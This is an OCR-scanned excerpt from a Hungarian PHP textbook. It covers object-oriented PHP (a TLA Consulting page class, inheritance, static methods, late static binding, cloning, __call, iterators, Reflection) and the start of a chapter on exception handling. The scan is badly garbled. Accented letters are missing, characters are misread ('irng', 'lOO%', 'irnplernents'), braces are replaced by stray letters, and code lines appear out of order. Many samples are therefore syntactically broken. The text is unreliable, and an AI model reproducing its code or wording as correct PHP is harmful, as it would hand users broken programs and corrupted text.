echo "<td width = \"".$szelesseg."%\"> <a href=\"".$url."\"> <irng src=\"s-logo.gif\" alt=\"".$nev."\" border=\"0\" /></a> <a href=\"".$url."\"><span class=\"rnenu\">".$nev."</span></a> </td>"; else echo "<td width=\"".$szelesseg."%\"> <irng src=\"side-logo.gif\"> <span class=\"rnenu\">".$nev."</span> </td>";

l"

6
\..

public function MegjelenitesLablec()

{ ?>
<table width="lOO%" <tr> < td> <p class="foot">&copy; <p class="foot">Krjk, TLA Consulting Pty Ltd.</p> olvassa el honlapunk<a href="legal.php"> bgcolor="black" cellpadding="12" border="O">

jogi nyilatkozatt1</a></p> <ltd> </tr> </table> <?php

122

6. fejezet

?>

A kd olvassa kzben vegyk szre, hogy a MegjelenitesStlusok(),MegjelenitesFejlee() s


MegjelenitesLablec () mecdusnak nagyobb blokknyi statikus HTML-c kell megjelentenie PHP feldolgozsa nlkl!

Ezrt a fggvnyeken bell egyszeren egy PHP zrcmkvel ( ?> ) kezdnk, begpeljk a HTML kdot, majd egy PHP kez dcmkvel ( <?php) visszatrnk PHP-be. Kt msik mecdust definilunk az osztlyban. A Megjeleni tesGomb () egy egyszer mengombot jelent meg. Ha a gomb az aktulis oldalra mutatna, akkor egy kiss eltren kinz, sehova nem mutat, inaktv gombot jelentnk meg. gy megrizzk az egysges oldalelrendezst, s vizulis tmutatst adunk a lcogatknak. Az IsURLCurrentPage() metdus llapga meg. hogy a gomb URL-je az aktulis oldalra mutat-e. Szmtalan mdszer rel Iciderthetjk ezt. Jelen esetben az strpos ( ) szeringkezel fggvnnyel nzzk meg. hogy az adott URL megtallhat-e a szerver ltal belltott vltozk kztt. Az strpos( $ SERVER [ PHP_SELF l
1 1

$url ) utasts szmmal tr vissza,

amennyiben az $ur l karakterlnc benne van a$_SERVER [ 'PHP_SELF' ] pedig false lesz a visszatrsi rtke.

szupergloblis vltozban, ellenkez esetben

Az Oldal osztly hasznlathoz be kell illeszteni az oldal.inc. php fjlt egy kdba, majd meg kell hvn a
Megjelenites () fggvnyt.

A 6.2 pldakd a TLA Consuiting nyitoldalt hozza ltre, s az 5.2 brn lthat, korbban generlthoz hasonl kimenetet eredmnyez. A 6.2 pldakd a kvetkezket hajtja vgre: L A require hasznlatval beilleszti az Oldal osztly defincijt magban foglal oldal. inc.php tartalmr.
2.Ltrehozza az Oldal osztly egy pldnyt. Ennek neve $kezdolap . 3. Bellga a tartalmat, amely az oldalt megjelent szvegbl s HTML cmkkbl ll. (Ez egyben a_set( ) metdust is

meghvja.)
4. A $kezdelap objektumon bell meghvja a Megjelenites () mecdust, hogy az oldal megjelenjen a ltogat bng

szjben.
6.2 pldakd: kezdolap. php-Ez a
<?php require("oldal.inc.php"); $kezdolap = new Oldal(); $kezdolap->tartalom ="<p>Kszntjk a TLA Consulting honlapjn!

honlap az Oldal osztlyt Jelhasznlva vgzi el az oldal ellltsnak nagy rszt

6
?>

Krjk,

sznjon r kis idt,

s ismerje meg cgnket!</p> remljk,

<p>Az zleti ignyek kielgtsre szakosodtunk,

rvidesen nt is gyfeleink kztt tudhatjuk.</p>

$kezdolap->Megjelenites();

A 6.2 pldakdbl ltszik, hogy milyen kevs munkra van szksg ahhoz, hogy ezen Oldal osztly segtsgvel j oldala kat lltsunk el. Az osztly ilyetn alkalmazsa azt eredmnyezi, hogy az sszes oldalnak nagyon hasonlnak kell lennie. Ha azt szeretnnk, hogy a honlap egyes rszei az lcalnos oldalszerkezet mdostott vltozatt hasznljk, egyszeren lemsolhatjuk az oldal.inc. php fjlt egy j, oldal2. inc.ph p nev llomnyba, s ott vgrehajthaguk a kvnt mdos tsokat. Ez persze azzal jr, hogy ha az oldal. ine. php bizonyos rszeit frissgk vagy javtjuk, nem szabad elfeledkeznnk, hogy ugyanezen mdostsokac az oldal2. inc.php fjlban is vgrehajtsuk. Jobban jrunk, ha rkldst hasznlva hozzuk ltre az j osztlyt, amely az Oldal funkcionalitst nagy rszben rkli, azonban az eltrnek kvnt rszeket fellrj a. Tegyk fel, hogy a TLA honlapjn, a szolglcatsokat bemutat oldalon egy m sodik navigcis svra van szksg! A 6.3 pldakdban lv program gy ri ezt el, hogy ltrehoz egy j, az Oldal osztl)bl szrmaztatott, Szelgal tatasokOldal nev osztlyt. Ltrehozunk egy $sor2gombok nev j tmbt, amely e msodik svba sznt gombokat s hivatkozsokat tartalmazza. M ivel azt szeretnnk, hogy az j osztly nagyrszt vltozatlan mdon mk<ljk, csak a mdostani kivnt rszt rjuk fel: a Megjeleni tes( ) metdust.

Objektumorientlt PHP

123

6.3 pldakd: szalgal tatasok.php-A szolgltatsok oldal az Oldal osztlybl rkldik, de a Megjeleni tes() met dust Jellrva mdostja a kimenetet
<?php require ("oldal.inc.php"); class SzolgaltatasokOldal extends Oldal

private $sor2gombok = array( "Folyamat-jjalakits" => "reengineering.php", "Szabvnyoknak val megfelel6sg" => "standards.php", ''Varzsszavak'' => ''buzzword.php '',

"Kldets" => "mission.php" ); public function Megjelenites()

echo "<html>\n<head>\n"; $this -> MegjelenitesCim(); $this -> MegjelenitesKulcsszavak(); $this -> MegjelenitesStilusok(); echo "</head>\n<body>\n"; $this -> MegjelenitesFejlec(); $this -> MegjelenitesMenu($this->gombok); $this -> MegjelenitesMenu($this->sor2gombok); echo $this->tartalom; $this -> MegjelenitesLablec(); echo "</body>\n</html>\n";

$szolgaltatasok = new SzolgaltatasokOldal();

$szolgaltatasok -> tartalom ="<p>A TLA Consulting szmos szolgltatst nyjt gyfeleinek. zleti folyamatainak jjalakitsval nvelhet6 az alkalmazottak munkavgzsnek hatkonysga. Lehet, 6jrafogalmaznia, de az is lehet, hogy vllalkozsnak csak a kldetst kell

hogy j zleti varzsszavakra van szksgk.</p>";

$szolgltatsok -> Megjelenites(); ?>

A fellr Megjelenites () igen hasonl, m eggyel tbb sort tartalmaz:


$this -> MegjelenitesMenu($this->sor2gombok);

Ez a sor msodszor is meghvja a Megjelen i tesMenu() fggvnyt, s ltrehoz egy msodik mensort. Az osztlydefincin kvl ltrehozzuk a SzalgaltatasokOldal osztly egy pldnyt, belltjuk azon tulajdonsgait, amelyeknl nem az alaprtelmezett rtkeket szeretnnk hasznlni, majd meghvjuk a Megjelenites( ) fggvnyt. Lthatjuk, hogy a 6.2 bra az ltalnos oldal j vltozatt mutatja. Csak a mdostott rszekhez kellett j kdot rnunk.

124

6. fejezer

O
liji$.1$ '

TLA

Consuiting Pty Ltd

O
billilli

@iN'9

c.:;sg.;p;:;wn;g.pJI -

hi#'

... .

6.2 bra: A

szolgltatsok oldalt rkldssel, az ltalnos oldal nagy rszt jra Jelhasznlva hoztuk ltre.

Az oldalak PHP osztlyokon keresztli ltrehozsa nyilvnval elnykkel jr. Ha a munka dandrjr egy osztly vgzi el, akkor rtelemszeren kevesebber kell dolgozunk az j oldalak lrrehozsn. Az osztlyt frisstve egyszeren, egyetlen mozdu lattal mdosthatjuk az sszes oldalt. rklds segtsgvel az eredeti osztly klnbz vltozatait szrmazrathatjuk anlkl, hogy az rklds elnyeirl le kellene mondanunk. Mint az letben szinte mindig, most sem ingyen jutunk ezekhez az elnykhz. Az oldalak kdbl trtn ellltsa jobban ignybe veszi a szmtgp processzort, mint egy statikus HTML oldal betltse s elkldse a bngszre. Egy nagy forgal m honlapon ez fonros szempont lehet, s trekedni kell vagy statikus HTML oldalakat hasznlni, vagy - ahol lehetsges a kdok kimenetnek gyorsttrazsval cskkenteni a kiszolgl terhelst.

Halad objektumorientlt funkcik PHPben


A kvetkez rszekben a PHP halad objektumorientlt funkciit mutatjuk be.

Osztlyon belli konstansok hasznlata


A PHP lehetv teszi osztlyon belli llandk hasznlatr. Az ilyen llandkat osztlypldny ltrehozsa nlkl is hasznl hatjuk, mint az albbi pldban:
<?php

6
.._ __

class Math const pi

3.14159;
".Math::pi."\n";

."!",

echo " Math::pi ?>

Az osztlyon belli llandkat a : : mveleti jellel az lland osztlyt meghatrozva rjk el, ahogy a fenti pldban is lthat.

Statikus metdusok ltrehozsa


A PHP engedi a static kulcssz hasznlatr. Metdusokra alkalmazva lehetv teszi, hogy osztlypldny ltrehozsa nl kl hvjuk meg azokat. Ez az osztlyon belli lland metdusokon belli megfelelje. Vegyk pldul az elz rszben ltre hozott Math osztlyt! Hozzadharunk pldul egy negy zetre_eme les ( ) fggvnyt, s osztlypldny ltrehozsa nlkl meghvhatjuk a kvetkez kddal:
class Math

static function negyzetre_emeles(Sinput)

return $input*$input;

l l
echo Math:: negyzetre emeles(8);

Objektumorientlt PHP

125

rdemes megjegyezni, hogy statikus metduson bell nem hasznlhatjuk a this kulcsszt, hiszen nincsen objektumpl dny, amire hivatkozhat.

Osztlytpus ellenrzse s tpusjelzs


Az instanceof kulcsszval ellenrizhetjk objektumunk tpust. Megtudhatjuk, hogy valamely objektum egy adott osztly pldnya-e, valamely osztlybl rkldik, vagy felletet valst-e meg. Az instanceof kulcssz lnyegben egy feleteles mveleri jel. Pldul a korbbi esetekben, ahol a B osztlyt az A alosztlyaknt hoztuk ltre, a
($b instanceof B)

igaz. igaz. hamis.

($b instanceof A)

($b instanceof Megjelenithetol

A fenti pldk felttelezik, hogy az A, a B s a Megjelenitheto az aktulis hatkrben tallhat; msklnben hiba kvetkezik be. Ezen tlmenen alkalmazhatunk az osztlyokra tpusjelzst ( rype hinting) is. lcalban amikor paramtert adunk t PHP ben egy fggvnynek, a paramter tpust nem adjuk t. Tpusjelzssel meghatrozhatjuk, hogy milyen tpus osztlyt kell tadni, s amennyiben az nem egyezik a tnylegesen tadoct tpussal, akkor hiba kveekezik be. A tpusellenrzs egyenrtk az instanceof kulcsszval. Gondoljuk vgig pldul a kvetkez fggvnyt:
function hint ellenor(B $valamilyenosztaly

l l ...

E plda azt sugallja, hogy a $valamilyenosztaly a egy pldnyt adjuk t:


hint_ellenor($a);
az

osztly pldnya kell, hogy legyen. Ha ezt kveten az A osztly

albbi vgzetes hibt kapjuk:


Argument Az

Fatal error:

l must be an instance of B
paramtere a B osztly pldnya kell, hogy legyen)

(Vgzetes hiba:

l.

rdemes megemlteni, hogy A tpusjelzse s B egy pldnynak tadsa esecn nem trtnt volna hiba, mert a B osztly A-bl rkldik.

Ksi statikus ktsek


A PHP 5.3 verzijban bevezetett ksi statikus ktsek lehetv teszik a statikus rkldsseiltrehozott pldnyban az osz-

clyra val hivatkozst; az alaposztlyok hasznlhatnak a gyerekosztlyok ltal fellrt, statikus metdusokat. Az albbi, a PHP kziknyvbl szrmaz, alapszint plda mkds kzben mutat egy ksi statikus ktst:
<?php class A

l 6

{
static function ki() CLASS

public

echo

public

static function teszt() //Itt jn a ksi statikus kts

static::ki();

class B extends A public static

( function ki()

echo

CLASS

B::teszt(); ?>

A fenti plda kimenete:


B

126

6. fejezet

A futsidben meghvott- akr fellrt, akr nem fellrt- osztlyokra mutat hivatkozsok lehetsge tovbbi funkciona litssal gazdagthatja osztlyainkat. A ksi statikus ktsekrl tovbbi informcikat s pldkat tallunk a PHP online kziknyvnek http:/ /www.php.net/ manual/ en/ language.oop5.late-static-bindings.php cmen elrhet rszben.

Objektumok klnozsa
A PHP-ben is hasznlhat clone kulcsszval meglv objektumot msolharunk le. Pldul a
Sc
=

clone $b;

utasts a $b objektum ugyanolyan osztly, ugyanolyan attribtumrtkekkel rendelkez msolatt hozza ltre. A klnozs nem csak gy mkdhet. Ha a clone kulcssz nem alaprtelmezett mkdsre van szksg, ltre kell hoznunk az alaposztlyban egy_clone(} nev metdust. Ez annyiban hasonl a konstruktorhoz s a destruktorhoz, hogy nem kz veclenl hvjuk meg. Akkor hvdik meg, arnikor a clone kulcsszt az itt lthat mdon hasznljuk. A_clone(} metdu son bell ezt kveten pontosan meghatrozhatjuk a kvnt msolsi mdszert. A_clone(} metdus szpsge abban rejlik, hogy egy, az alaprtelmezett mdszerrel ltrehozott tkletes msolat elk szlte utn hvdik meg, s ekkor lehetsgnk van r, hogy csak a mdostani kvnt dolgokon vltoztassunk. A_clone(} metdushoz leggyakrabban olyan kdot adunk hozz,amely biztostja a hivatkozsknt kezelt osztlytulaj donsgok helyes msolst. Ha megprblunk lemsolni egy objekrumra val hivatkozst tartalmaz osztlyt,minden bizony nyal ennek az objektumnak a msolatt szeretnnk eredmnyl kapni, nem pedig egy, az eredeti objekrumra mutat msodik hivatkozst. Pontosan ezrt rdemes hozzadni ezt a_clone(} metdushoz. Dnthetnk gy is, hogy nem vltoztarunk meg semmit,hanem valarnilyen ms mveletet hajrunk mg vgre, pldul egy, az osztlyhoz kapcsold mgttes adatbzisrekord frisstst.

Elvont osztlyok hasznlata


A PHP lehetv teszi az elvont osztlyok {abstract class),illetve elvont metdusok hasznlatr. Az elbbiekbl nem lehet pl dnyt ltrehozni, az utbbiak kifejts nlkl adjk a metdus kereteit. Pldul:
abstract metodusX($paraml, $param2};

Az elvont metdusokat tartalmaz osztlyoknak nmaguknak is elvontnak kell lennik,ahogy ezt a kvetkez plda is mu tatja:
abstract class
A

abstract function metodusX($paraml,

$param2};

Az elvont metdusokat s osztlyokat elssorban olyan sszetett osztlyhierarchiban hasznljuk, amelynl biztosak k vnunk lenni abban, hogy minden alosztly tartalmaz s fellr egyes meghatrozott metdusokat. Ugyanezt interfsszel is elrhetjk.

Metdusok tbbszrs definilsa a

c a ll

( ) metdussal

Korbban mr szmos klnleges jelents osztlymetdussal tallkoztunk, amelyeknek ketts alulvonssal (_) kezddtt a nevk. Ilyen volt a _get(},a _set (},a_construct(} s a_destruct (}.Ezek kz tartozik a_call(} me tdus is,amit arra hasznlunk PHP-ben, hogy megvalstsuk a metdusok tbbszrs definilst {method overloading). A tbbszrs definils sok objektumorientlt nyelvben megrallhat,m PHP-ben kevsb hasznos,mivel rdemes helyet te rugalmas tpusokat s {knnyen ltrehozhat) opcionlis fggvnyparamtereket alkalmazni. Hasznlathoz ltrehozunk egy_call(} metdust, ahogy tesszk ezt a kvetkez pldban:
public function if ($metodus call($metodus, $p}
{

==

"megjelenites"}

if (is_object($p(0]}} { $this->megjelenites0bjektum($p[0]}; else if (is_array($p(0]}} { $this->megjelenitesTomb($p[O]};

Objektumorientlt PHP

127

else

$this->megjelenitesSkalaris($p[0]);

A_call () metdus kt paramtert fogad. Az els a meghvott metdus nevt,a msodk pedig az ennek a metdus nak radott paramterek tmbjt tartalmazza. Ezt kveten eldnthetjk,hogy melyik mgttes metdust hvjuk meg. Jelen esetben,ha objektumot adunk t a Megjeleni tes() metdusnak, a mgttes megj elenitesObjektum () met dust hvjuk meg; ha tmbt adunk t,a megj eleni tesTomb () metdust hvjuk meg,s ha valami mst adunk t, akkor a megjelenitesSkalaris () metdust. neki az overload nevet),s ezt kveten hvjuk meg a Megj eleni tes ( ) metdust,ahogy az albbi pldban is ltjuk:
$ov
=

A fenti kd meghvshoz elszr ltre kell hozni az ezt a_call ( ) metdust tartalmaz osztly egy pldnyt (acljuk
new overload;

$ov->megjelenites(tomb (l,

2,

3));

$ov->megjelenites('macska');

A Megjelenites() els meghvsa a megjelenitesTomb (),a msodik pedig a megjelen itesSkalaris () met dust hvja meg. rdemes megjegyezni, hogy a fenti kd mkdshez nincs szksg a Megj elenites() metdus mgttes kifejtsre.

Az

au t o l o a d

( ) fiiggvny hasznlata

A PHP egy msik klnleges fggvnye az _a utoload ().Nem osztlymetdus, hanem klnll fggvny; ez azt jelenti, hogy osztlydeklarcin kvl deklarlhatjuk Ha ltrehozzuk,automatikusan meghvdik, amikor mg nem deklarlt osztly pldnyt prbljuk meg ltrehozni. Az _a utoload ( ) hasznlatnak elsdleges clja megprblni beilleszteni a kvnt osztly pldnynak ltrehozshoz

szksges fjlt vagy fjlokat. Gondoljuk vgig a kvetkez pldt:


function _autoload($nev)

include_once $nev.".php";}

A fenti kd megprblja beilleszteni az osztllyai megegyez nev fjlt.

ltertorok s iterci ltrehozsa


A PHP objektumorientlt motorjnak okos,fu.nkcija,hogy foreach() ciklussal ugyangy lpkedhetnk vgig egy objektum rulajdonsgain,rnint egy tmbn. Nzznk egy pldt:
class sajatOsztaly

public $a public $b

"5"; "7"; "9";

public $c

$x

new sajatOsztaly;

foreach ($x as $tulajdonsag) echo $tulajdonsag."<br />";

(Ktetnk rsnak idejn a PHP kziknyv szerint a foreach fellet mkdshez ltre kell hozni az res Traversable felletet,m ha ezt tesszk,vgzetes hiba trtnik. Ha azonban nem hozzuk ltre,a kd tkletesen mkdk.) Amennyiben ennl knnomulrabb mkdst ignylnk,hozzunk ltre itertort! Ehhez az iterlni kvnt osztllyal ltre kell hozni az IteratorAggregate interfszt,s hozz kell adni egy getiterator nev,az itertorosztly egy pldnyt visszaad metdust. Ennek az osztlynak ltre kell hozni az Iterator felletet, amely Icifejtend metdusok sorozatval rendelkezik. A 6.4 pldakdban az osztlyra s az itertorra ltunk egy pldt .

128

6. fejezer

6.4 pldak d:
<?php

iterator . php

Plda alaposztlyra s iterlarosztlyra

class Objekturnlterator irnplernents

Iterator

private $obj; private $szarnlalo; private $aktualislndex;

function

__

construct($obj)

$this->obj

$obj;
=

$this->szarnlalo

szarnlalo($this->obj->data);

function visszaallit()

$this->aktualislndex

0;

function ervenyes()

return $this->aktualislndex < $this->szarnlalo;

function kulcs()

return $this->aktualislndex;

function aktualis()

return $this->obj->data[$this->aktualislndex];

function kovetkezo()

$this->aktualislndex++;

class Objektum irnplernents IteratorAggregate

public $data = array();

function

__

construct($in)

$this->data

$in;

function getlterator()

return new Objekturnlterator($this);

$sajat0bjekturn

new Object(array(2,

4,

6,

8,

10));

$sajatlterator

$rny0bject->getlterator(); $sajatlterator->ervenyes();

for($sajatlterator->visszaallit();

Objektumorientlt PHP

129

$sajatiterator->kovetkezo(}}

$key = $sajatiterator->kulcs(}; $ertek = $sajatiterator->aktualis(}; echo $kulcs." => ".$ertek."<br />";} ?>

Az Objektumiterater osztly az Iterater interfsznek megfelel fggvnykszlettel rendelkezik: A konstruktor nem ktelez, de nyilvnvalan megfelel hely arra, hogy az iterlni kvnt elemek szmhoz rtkeket, illetve az aktulis adatelemre mutat hivatkozst lltsunk be. A visszaallit(} fggvny lltja vissza a bels adatmutatt az adat elejre. Az ervenyes(} fggvny kzli, hogy van-e tovbbi adat az adarmutat aktulis helynL A kulcs(} fggvny adja vissza az adatmutat rtkr. Az ertek(} fggvny az adatmutat aktulis helynl trolt rtket adja vissza. A kovetkezo(} fggvny mozgatja az adatmutatt az adatban. Egy ilyen itertorosztly hasznlatnak oka, hogy az adatokhoz mutat interfsz akkor sem vltozik, ha a mgttes meg valsts igen. Pldnkban az IteratorAggregate osztly egyszer tmb. Ha gy dnrnk, hogy hash tblv vagy hi vatkozott listv (linked list) alaktjuk, ltalnos Iterator hasznlatval is elrhernnk ezt, br ekkor az Iterator kdja megvltozna.

Osztlyaink talaktsa karakterlncokk

Ha ltrehozunk osztlyunkban egy _toString(} nev fggvnyt, ez fog meghvdni, amikor megksreljk knyomtarni az osztlyt, ahogy tesszk azt az albbi pldban:
$p = new Nyomtathato; echo $p;

Az echo utasts azt fogja megjelenteni, amit a_toString(} fggvny visszaad. Pldul a kvetkezkppen hozhatjuk ltre:
class Nyomtathato

public $tesztegy; public $tesztketto; public function _toString(}

return(var export($this,

TRUE}};

(A var_export(} fggvny az osztly sszes tulajdonsgrtkt krja.)


A Reflection API hasznlata

objektumorientlt funkcii kz tartozik a RejlectionAPI (alkalmazsprogramozsi interfsz). A refection a meglv l osztlyok s objektumok lekrdezsnek kpessge, hogy tbbet tudjunk szerkezerkrl s tartalmukrL Ez a lehetsg akkor igazn hasznos, amikor ismeretlen vagy nem dokumentlt osztlyokhoz alakrunk k interfszt, pldul amikor kdolt PHP szkriptekkel tesszk ezt. Az API rendkvl sszetett, de egy egyszer plda ttanulmnyozsa utn nmi fogalmunk lehet arrL mire hasznlhat. Gondoljunk pldul az ebben a fejezetben deklarlt Oldal osztlyra! Az osztlyrl minden informcit megkapharunk a Ref!ection API ltal, ahogy ezt a 6.5 pldakdbl lthatjuk.
A PHP

6.5 pldakd: reflection.php -Az Oldal osztlyra vonatkoz informcik megjelenitse


<?php

require once("oldal.inc.php");

$osztaly = new ReflectionClass("Oldal"); echo "<pre>".$osztaly."</pre>"; ?>

Ebben az esetben a

Reflection

osztly_ toString ( ) metdusval ratjuk ki az adatokat. Figyeljk meg. hogy a <pre>

cmkk kln sorokban vannak, hogy ne zavarjk ssze a_toString () metdust!


A kd els kpernynyi kimenett a 6.3 brn lthaguk .

...

..,. .... ft) h-n-,1 l..acltuuoJ

-nr l "'*Ucl<'l ""-rorl olftlca...) ....U ..._.,.,,-u -1

..

Ilu-fUI) l --l---- l U .,_ __.._._-au oo_.,,..,,_.-_......UN_rl-"&U&J.-- l'

6.3 bra: A Rejlection API meglepen rszletes kimenete.

Hogyan tovbb:
A kvetkez fejezet a PHP kivtelkezel lehetsgeit mutatja be. A kivtelek elegns lehetsget adnak a futsidej hibk ke

zelsre.

7
Hiba s kivtelkezels
A fejezetben a kivtelkezels fogalmt, illetve PHP-beli megvalsrst mutatjuk be. A kivtelek egysges mechanizmust szol

gltamak a hibakezelsre, amely sajt, objektumorientlt alapokon nyugv hibakezelssei egszthet ki.
A fejezetben az albbi fbb tmakrkkel foglalkozunk: Kivtelkezelsi fogalmak Kivtelkezelsi szerkezetek: try ...throw...catch Az Exception osztly Felhasznl ltal meghatrozott kivtelek Kivtelek Bob autalkatrsz-rtkest alkalmazsban Kivtelek s a PHP tovbbi hibakezel mechanizmusai

Kivtelkezelsi fogalmak
A kivtelkezels alapgondolata, hogy a kd egy gynevezett try blokkon bell hajtdik vgre. A kd ezen rsze gy nzi ki:
try

ll ide kerl a kd Ha valami nem stimmel a try blokkban, kivtelt vlthatunk ki (throw exception). Egyes programozsi nyelvek, kztk

a java is, bizonyos esetekben automatikusan kivltjk a kivteleket. PHP-ben ezt sajt kezleg kell megrenni. A kivtel kivltsa a kvetkezkppen trtnik:
throw new Exception('zenet', kd);

A throw kulcssz indtja el a kivtelkezel mechanizmust. Inkbb nyelvi alkotelem, mintsem fggvny, mindazonltal rtket kell tadni neki. Objektumot vr. A legegyszerbb esetben a beptett Exception osztly egy pldnyt hozzuk ltre, ahogy tettk ezt a fenti pldban is. Ezen osztly konstruktora kt paramtert fogad: egy zenetet s egy kdot. Ezek egy hibazenetet s egy hibakdszmot szndkoznak jelkpezni. Mindkt paramter opcionlis. A try blokk alatt legalbb egy catch blokkra is szksg van. Ez ltalnossgban a kvetkezkppen nz ki:
catch (tpusjelzs kivtel)

ll kivtel kezelse Egy try blokkhoz egynl tbb catch blokk is trsthat. Ez akkor nyer rtelmet, ha minden catch blokk ms cpus kivtelt kszl elkapni. Ha pldul az Exception osztly kivteleit szndkozunk elkapni, catch blokkunk a kvetkez kppen nzhet ki:
catch (Exception $e)

ll kivtel kezelse A catch blokkba radott (s ltala elkapott) objektum a kivtelt felismer throw utastsnak radott (s ltala kivltott) objektum. A kivtel brmilyen tpus lehet, de rdemes vagy juk, hogyan tudjuk sajt kivteleinket meghatrozni.)
az

Exception

osztly pldnyair vagy a sajt, felhasznl ltal

meghatrozott, az Exception osztlybl rkld kivtelpldnyokat hasznlni. (A fejezet egy ksbbi rszben megmutat

132

7. fejezer

Amikor egy kivrel bekvetkezik, a PHP a megfelel catch blokkor kezdi keresni. Egynl rbb catch blokk esern a ne kik radorr objektumoknak klnbz tpusaknak kell lennik, hogy a PHP rtelmez ki tudja derteni, hogy melyik catch melyik blokkon menjen keresztl. rdemes megemlteni, hogy catch blokkon bell nem lehet tovbbi kivteleket kivltani. Hogy az eddig elmondorrakat vilgosabb tegyk, nzznk egy pldd A 7.1 pldakdban egy egyszer kivtelkezelsi pl dt tallunk.
7.1 pldakd: alapszintu_kivete l. php-Kivtel kivltsa s elkapsa
<?php try

{ 42);

throw new Exception("Szrny hiba trtnt",

catch (Exception $e)

{
$e->getMessage()."<br $e->getLine() . ". sorban<br />". />"; " fj l "

echo "Kivtel ". $e->getCode(). " a ". $e->getFile() .

?>

A 7.1 pldakdbl lthat, hogy az Exception osztly metdusait hasznltuk. (Ezeket rvidesen rszletesen is megismer hegk.) A kd futtatsnak eredmnye a 7.1 brn lthat.

Q--- .. __..,..,,..._""'-""-..,..01_.,...

....._ ...

.......... _.... ..

7 .l bra: A catch blokk kzli a kivtel hibazenett, s jelzi, hol trtnt a kivtel.

A pldakdban lthat, hogy az Exception osztly kivtelt vltjuk ki. E bepterr osztly a catch blokkban hasznos hibazenerek megjelentsre alkalmas merdusokkal rendelkezik.

Az Exception osztly
A PHP rendelkezik egy Exception nev bepterr oszrllyal. Ennek konstruktora, mint azt mr jelezrk, kt paramtert

fogad: egy hibazenetet s egy hibakdor. A konsrruktoron tlmenen az oszrly az albbi bepterr metdusokar tartalmazza:
getCode

()-A konstruktornak radorr kdot adja vissza. ()-A konstruktornak radorr zenetet adja vissza. a kdfjlnak a reljes elrsi tvonalt adja vissza, ahol a kivtel bekvetkezett.

getMessage

getFile() -Annak getLine

()-A kdfjl azon sornak a szmt adja vissza, ahol a kivtel bekvetkezett. ()-A kivtel bekvetkezrnek visszakvetsr tartalmaz tmbt ad vissza. ()-A getTrace metdus lral visszaadorr informcival megegyezt ad vissza karakterlncknt for teszi, hogy az Exception objektumot egyszeren ki!ratva a fenri metdusok lral nyj

getTrace

getTraceAsStr ing

mzva azt.
_toStr ing ( )- Lehetv

torr sszes informcit megszerezzk. Lthat, hogy a 7.l pldakdban a fentiek kzl az els ngy metdust hasznltuk. Mindezen informcit (s a visszakve tsr) megkaptuk volna az
echo $e;

urasrs vgrehajtsval is. A visszakvets (backtrace) azt mutatja, mely fggvnyek vgrehajtsakor kvetkezerr be a kivtel.

Hiba- s kivtelkezels

133

Felhasznl ltal meghatrozott kivtelek


Ahelyett, hogy ltrehoznnk s tadnnk az Exception alaposztly egy pldnyt, brmilyen tetszleges objektumot radha runk. Az. esetek tbbsgben az Exception osztlybl szrmaztatott sajt kivreiosztlyokat fogunk ltrehozni. A throw mellkggal brmilyen ms objektumot is radhatunk Erre akkor lehet szksg, ha problmink addnak vala milyen konkrt objektummal, s hibavrsi cllal kivnjuk radni. Legtbbs.zr azonban az Exception alaposztlyt fogjuk kiterjeszteni.A PHP kziknyvben megtalljuk az Exception osztly vzt jelkpez kdot.A http:/ /us.php.net/ manual/en/language oopS.php oldalrl szrmaz kdot a 7.2 pldakdban . lthatjuk.Fontos megemlteni, hogy ez nem a tnyleges kd, hanem azt mutatja, amire rkldskor szmirhatunk 7.2 pldakd: Exception osztly- erre szmthatunk rkldskor
<?php class Exception function

{
int $code=0)

construct(string $message=NULL,

if (func_num_args())

$this->message = $message;

$this->code $this->file =

$code; FILE LINE ;

ll a hibakezels egyb bellitsa ; ll a hibakezels egyb bellitsa

$this->line =

$this->trace = debug_backtrace(); $this->string


=

StringFormat($this);

protected $message = "Ismeretlen kivtel"; protected $code = 0; protected $file; protected $line; private $trace; private $string;

ll kivtel zenete

ll felhasznl ltal meghatrozott kivtelkd

ll kivtel forrsfjlneve ll kivtel forrssora ll kivtel visszakvetse ll csak bels!


1

final function getMessage() { return $this->message;

final function getCode() return $this->code;

final function getFile() return $this->file;

final function getTrace() return $this->trace;

final function getTraceAsString() return self::TraceFormat($this);

function

toString()

return $this->string;

static private

function StringFormat(Exception $exception) kdokban nem elrhet fggvny,

ll ...

PHP

ll amely karakterlncknt ad vissza minden fontos informcit


static private function TraceFormat(Exception $exception)

ll ...

PHP

kdokban nem elrhet fggvny,

ll amely karakterlncknt adja vissza a visszakvetst

134

7. fejezet

"?>"

Elssorban azrt vizsgljuk meg ezt az osztlydefincit, hogy szrevegyk: a nyilvnos (public) metdusok tbbsge vg leges (final). Ez azt jelenti, hogy nem fellrhark. Ltrehozharjuk sajt Exception alosztlyainkat, de nem mdosthaguk
az

alapmetdusok viselkedst. Jegyezzk meg, hogy a _toSt ring () fggvny fellrhat, gy megvltoztathatjuk a kivtel A 7.3 pldakd felhasznl ltal definilt Exception osztlyra mutat pldt.

megjelentsi mdjt! Ugyangy sajt metdusaink hozzadsra is van lehetsg.

7.3 pldakd: felhasznala_altal_definialt_ kivetel.php


<?php class sajatKivetel extends Exception

Plda Jelhasznl ltal definilt Exception osztlyra

function

toString()

return "<table border=\"1\"> <tr> <td><strong>Kivtel ".$this->getCode() ." </strong>: ".$this->getMessage() ."<br />"."

a ".$this->getFile() ." fjl ".$this->getLine() ." . sorban <ltd> </tr> </table><br />";

try

{
throw new sajatKivetel("Szrny hiba trtnt",

42);

catch (sajatKivetel $m)

echo $m;

?>

Ebben a kdban j kivtelosztlyt deklarlunk. Ennek neve saja tKivete l, s az Exception alaposztlybl rkldik. Ez s az Exception osztly kztt az a klnbsg, hogy a_toString () metdust fellrva, szpen formzva ratjuk ki a kivtelt. A kd futtatsnak kimenere a 7.2 brn lthat.

7.2 bra: A saja tKivetel osztly ,.szpen Jormzva" jelenti meg a kivteleket.

Hiba- s kivtelkezels

135

A fenti plda igen egyszer. A kvetkez rszben megvizsgljuk, hogyan lehet klnbz hibatpusokat kezel, msmilyen

kivteleket ltrehozni.

Kivtelek Bob autalkatrszrtkest alkalmazsban


A 2. fejezetbl

(Adatok trolsa s visszakeresse) megcudhattuk, hogyan troljuk Bob rendelsi adatait egy egyszer fjlban.

Mint azzal bizonyra tisztban vagyunk, a fjlkezels egyike azon terleteknek, ahol gyakran jelentkeznek hibk. Ezrt kivl terep ez kivtelkezels alkalmazsra s szemlltetsre. Ha visszagondolunk az eredeti kdra, lthatjuk, hogy hromfle problma kvetkezhet be fjlba rskor: a fjl nem nyithat meg, nem lehet zrolni, vagy nem lehet rni bele. Mindhrom lehetsghez ltrehoztunk egy-egy kivtelosztlyt. Ezek kdjt
a

7.4 pldakdban talljuk.

